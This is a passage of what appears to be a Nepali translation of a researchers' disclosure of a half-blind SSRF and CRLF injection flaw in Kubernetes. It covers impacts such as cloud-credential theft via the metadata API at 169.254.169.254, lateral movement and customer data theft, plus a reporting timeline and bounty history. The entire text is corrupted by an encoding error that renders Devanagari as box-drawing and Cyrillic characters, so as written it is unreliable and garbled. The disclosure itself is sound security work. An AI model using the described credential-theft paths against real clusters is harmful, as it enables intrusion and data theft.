рдпрджреНрдпрдкрд┐, рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдгрдХреЛ рд╕рдиреНрджрд░реНрднрдорд╛ рд╕рдореНрднрд╛рд╡рд┐рдд рдкрд░рд┐рдгрд╛рдорд╣рд░реВрдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджреИ (рд░ рдпреЛ рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХреЛ рд╕рдмреИрднрдиреНрджрд╛ рдЪрд╛рдЦрд▓рд╛рдЧреНрджреЛ рднрд╛рдЧ рдерд┐рдпреЛ!) рд▓реЗ рд╣рд╛рдореАрд▓рд╛рдИ рдХрдордЬреЛрд░реАрд▓рд╛рдИ рдореВрд▓реНрдпрд╛рдЩреНрдХрдирдорд╛ рдкреБрди: рд╡рд░реНрдЧреАрдХрд░рдг рдЧрд░реНрди рдкреНрд░реЗрд░рд┐рдд рдЧрд░реНтАНрдпреЛред рдХреНрд░рд┐рдЯрд┐рдХрд▓ CVSS10/10 рдзреЗрд░реИ рд╡рд┐рддрд░рдХрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ред

рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рд╕рдореНрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡рд╣рд░реВрдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджрд╛ рд╣рд╛рдореНрд░рд╛ рд╡рд┐рдЪрд╛рд░рд╣рд░реВ рдмреБрдЭреНрди рдорджреНрджрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рддрд▓ рдердк рдЬрд╛рдирдХрд╛рд░реА рдЫ:

рдирд┐рд╖реНрдард╛

  • рдкреНрд░рд╛рдкреНрдд рдЖрдиреНрддрд░рд┐рдХ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЯрд╛рдвреИрдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред
  • рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХрдорд╛ рдкрд╛рдЗрдиреЗ рдЕрдиреНрдп рд╕реНрд░реЛрддрд╣рд░реВрд╕рдБрдЧ IDOR (Insecure Direct Object Reference) рд╡рд┐рдзрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдорд╛рдерд┐рдХреЛ рдкрд░рд┐рджреГрд╢реНрдп рдкреБрди: рдЙрддреНрдкрд╛рджрди рдЧрд░реНрджреИред

рдЧреЛрдкреНрдпрддрд╛

  • рдЖрдХреНрд░рдордгрдХреЛ рдкреНрд░рдХрд╛рд░ рдкрд╛рд░реНрд╢реНрд╡ рдЖрдиреНрджреЛрд▓рди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдорд╛рдгрд╣рд░реВ рдЪреЛрд░реА рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдореЗрдЯрд╛рдбреЗрдЯрд╛ API)ред
  • рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрдпрд╛рди рдЧрд░реЗрд░ рдЬрд╛рдирдХрд╛рд░реА рд╕рдЩреНрдХрд▓рди рдЧрд░реНрджреИ (SSH рд╕рдВрд╕реНрдХрд░рдг, HTTP рд╕рд░реНрднрд░ рд╕рдВрд╕реНрдХрд░рдг, ...)ред
  • рдореЗрдЯрд╛рдбреЗрдЯрд╛ API (http://169.254.169.254, ...)ред
  • рдХреНрд▓рд╛рдЙрдб рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЧреНрд░рд╛рд╣рдХ рдбреЗрдЯрд╛ рдЪреЛрд░реАред

рдЙрдкрд▓рдмреНрдзрддрд╛

рдЖрдХреНрд░рдордг рднреЗрдХреНрдЯрд░рд╣рд░реВрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рд╕рдмреИ рд╢реЛрд╖рдг рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рдЕрдЦрдгреНрдбрддрд╛, рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ рд░ рдЧреНрд░рд╛рд╣рдХ рдкрд░рд┐рдзрд┐ (рд╡рд╛ рдХреБрдиреИ рдЕрдиреНрдп) рдЕрдиреБрдкрд▓рдмреНрдз рд╣реБрдирдмрд╛рдЯ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдХреЛ рдиреЗрддреГрддреНрд╡ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред

рд╣рд╛рдореА рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд┐рдд K8s рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдерд┐рдпреМрдВ рд░ рдЕрдЦрдгреНрдбрддрд╛рдорд╛ рдкреНрд░рднрд╛рд╡рдХреЛ рдореВрд▓реНрдпрд╛рдЩреНрдХрди рдЧрд░реНрджреИ, рд╣рд╛рдореА рдЙрдкрд▓рдмреНрдзрддрд╛рд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрди рд╕рдХреНрдиреЗ рдзреЗрд░реИ рдкрд░рд┐рджреГрд╢реНрдпрд╣рд░реВ рдХрд▓реНрдкрдирд╛ рдЧрд░реНрди рд╕рдХреНрдЫреМрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрджрд╛рд╣рд░рдгрд╣рд░реВрдорд╛ etcd рдбрд╛рдЯрд╛рдмреЗрд╕ рднреНрд░рд╖реНрдЯ рд╡рд╛ Kubernetes API рдорд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд▓ рдЧрд░реНрдиреЗ рд╕рдорд╛рд╡реЗрд╢ рдЫред

рд╕рдордпрд░реЗрдЦрд╛

  • рдбрд┐рд╕реЗрдореНрдмрд░ 6, 2019: рдЬреЛрдЦрд┐рдо MSRC рдмрдЧ рдмрд╛рдЙрдиреНрдЯреАрд▓рд╛рдИ рд░рд┐рдкреЛрд░реНрдЯ рдЧрд░рд┐рдпреЛред
  • рдЬрдирд╡рд░реА рей, реирежреиреж: рдПрдХ рддреЗрд╕реНрд░реЛ рдкрдХреНрд╖рд▓реЗ Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рд╣рд╛рдореА рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджрд╛рдорд╛ рдХрд╛рдо рдЧрд░рд┐рд░рд╣реЗрдХрд╛ рдЫреМрдВ рднрдиреА рдЬрд╛рдирдХрд╛рд░реА рдЧрд░рд╛рдпреЛред рд░ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ SSRF рд▓рд╛рдИ рдЖрдиреНрддрд░рд┐рдХ (рдЗрди-рдХреЛрд░) рдЬреЛрдЦрд┐рдордХреЛ рд░реВрдкрдорд╛ рд╡рд┐рдЪрд╛рд░ рдЧрд░реНрди рднрдиреНрдпреЛред рд╣рд╛рдореАрд▓реЗ рддреНрдпрд╕рдкрдЫрд┐ рд╕рдорд╕реНрдпрд╛рдХреЛ рд╕реНрд░реЛрддрдХреЛ рдмрд╛рд░реЗрдорд╛ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рд╕рд╣рд┐рдд рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдЧрд░реНрдпреМрдВред
  • рдЬрдирд╡рд░реА 15, 2020: рд╣рд╛рдореАрд▓реЗ Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЙрдиреАрд╣рд░реВрдХреЛ рдЕрдиреБрд░реЛрдзрдорд╛ (HackerOne рдкреНрд▓реЗрдЯрдлрд░реНрдо рдорд╛рд░реНрдлрдд) рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯрд╣рд░реВ рдкреНрд░рджрд╛рди рдЧрд░реНтАНрдпреМрдВред
  • рдЬрдирд╡рд░реА 15, 2020: Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рд╣рд╛рдореАрд▓рд╛рдИ рд╡рд┐рдЧрддрдХрд╛ рд░рд┐рд▓реАрдЬрд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рд╣рд╛рдл-рдмреНрд▓рд╛рдЗрдиреНрдб SSRF + CRLF рдЗрдиреНрдЬреЗрдХреНрд╕рдирд▓рд╛рдИ рдЗрди-рдХреЛрд░ рдЬреЛрдЦрд┐рдо рдорд╛рдирд┐рдиреНрдЫ рднрдиреЗрд░ рд╕реВрдЪрд┐рдд рдЧрд░реЗред рд╣рд╛рдореАрд▓реЗ рддреБрд░реБрдиреНрддреИ рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдкрд░рд┐рдзрд┐рдХреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд░реНрди рдмрдиреНрдж рдЧрд░реНрдпреМрдВ: K8s рдЯреЛрд▓реАрд▓реЗ рдЕрдм рдореВрд▓ рдХрд╛рд░рдгрд╕рдБрдЧ рдХрд╛рдо рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдерд┐рдпреЛред
  • рдЬрдирд╡рд░реА 15, 2020: MSRC рдЗрдирд╛рдо HackerOne рдорд╛рд░реНрдлрдд рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
  • рдЬрдирд╡рд░реА 16, 2020: Kubernetes PSC (рдЙрддреНрдкрд╛рджрди рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐) рд▓реЗ рдЬреЛрдЦрд┐рдо рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНтАНрдпреЛ рд░ рд╕рдореНрднрд╛рд╡рд┐рдд рдкреАрдбрд┐рддрд╣рд░реВрдХреЛ рдареВрд▓реЛ рд╕рдВрдЦреНрдпрд╛рдХреЛ рдХрд╛рд░рдгрд▓реЗ рдорд╛рд░реНрдЪрдХреЛ рдордзреНрдпрд╕рдореНрдо рдЧреЛрдкреНрдп рд░рд╛рдЦреНрди рднрдиреНрдпреЛред
  • рдлреЗрдмреНрд░реБрдЕрд░реА 11, 2020: Google VRP рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
  • рдорд╛рд░реНрдЪ рек, реирежреиреж: HackerOne рдорд╛рд░реНрдлрдд Kubernetes рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
  • рдорд╛рд░реНрдЪ 15, 2020: рдореВрд▓ рд░реВрдкрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЦреБрд▓рд╛рд╕рд╛ COVID-19 рд╕реНрдерд┐рддрд┐рдХреЛ рдХрд╛рд░рдг рд╕реНрдердЧрд┐рдд рдЧрд░рд┐рдпреЛред
  • рдЬреБрди 1, 2020: рдХреБрдмрд░реНрдиреЗрдЯреНрд╕ + рдорд╛рдЗрдХреНрд░реЛрд╕рдлреНрдЯрд▓реЗ рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ рд╕рдВрдпреБрдХреНрдд рдХрдердиред

TL; рдб

  • рд╣рд╛рдореА рдмрд┐рдпрд░ рдкрд┐рдЙрдиреНрдЫреМрдВ рд░ рдкрд┐рдЬреНрдЬрд╛ рдЦрд╛рдиреНрдЫреМрдВ :)
  • рд╣рд╛рдореАрд▓реЗ Kubernetes рдорд╛ рдПрдЙрдЯрд╛ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдкрддреНрддрд╛ рд▓рдЧрд╛рдпреМрдВ, рдпрджреНрдпрдкрд┐ рд╣рд╛рдореАрд▓реЗ рддреНрдпрд╕реЛ рдЧрд░реНрдиреЗ рдХреБрдиреИ рдЗрд░рд╛рджрд╛ рдерд┐рдПрдиред
  • рд╣рд╛рдореАрд▓реЗ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдердк рд╡рд┐рд╢реНрд▓реЗрд╖рдгрд╣рд░реВ рд╕рдЮреНрдЪрд╛рд▓рди рдЧрд░реНрдпреМрдВ рд░ рдердк рдЕрджреНрднреБрдд рдмреЛрдирд╕рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдЬреЛрдЦрд┐рдордХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╣реБрдиреЗ рдХреНрд╖рддрд┐ рдмрдврд╛рдЙрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВред
  • рддрдкрд╛рдИрдВрд▓реЗ рдпрд╕ рд▓реЗрдЦрдорд╛ рдзреЗрд░реИ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рдкрд╛рдЙрдиреБрд╣реБрдиреЗрдЫред рд╣рд╛рдореА рддрд┐рдиреАрд╣рд░реВрд╕рдБрдЧ рддрдкрд╛рдИрдВрд╕рдБрдЧ рдЫрд▓рдлрд▓ рдЧрд░реНрди рдкрд╛рдЙрдБрджрд╛ рдЦреБрд╕реА рд╣реБрдиреЗрдЫреМрдВ (рдЯреНрд╡рд┐рдЯрд░: @ReeverZax & @__hach_).
  • рд╕рдмреИ рдкреНрд░рдХрд╛рд░рдХрд╛ рдФрдкрдЪрд╛рд░рд┐рдХрддрд╛ рд░ рд░рд┐рдкреЛрд░реНрдЯрд┐рдЩрд▓реЗ рд╕реЛрдЪреЗрднрдиреНрджрд╛ рдзреЗрд░реИ рд╕рдордп рд▓рд┐рдпреЛ рднрдиреНрдиреЗ рдерд╛рд╣рд╛ рднрдпреЛред

рд╕рдиреНрджрд░реНрдн

рдЕрдиреБрд╡рд╛рджрдХрдмрд╛рдЯ PS

рд╣рд╛рдореНрд░реЛ рдмреНрд▓рдЧрдорд╛ рдкрдирд┐ рдкрдвреНрдиреБрд╣реЛрд╕реН:

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди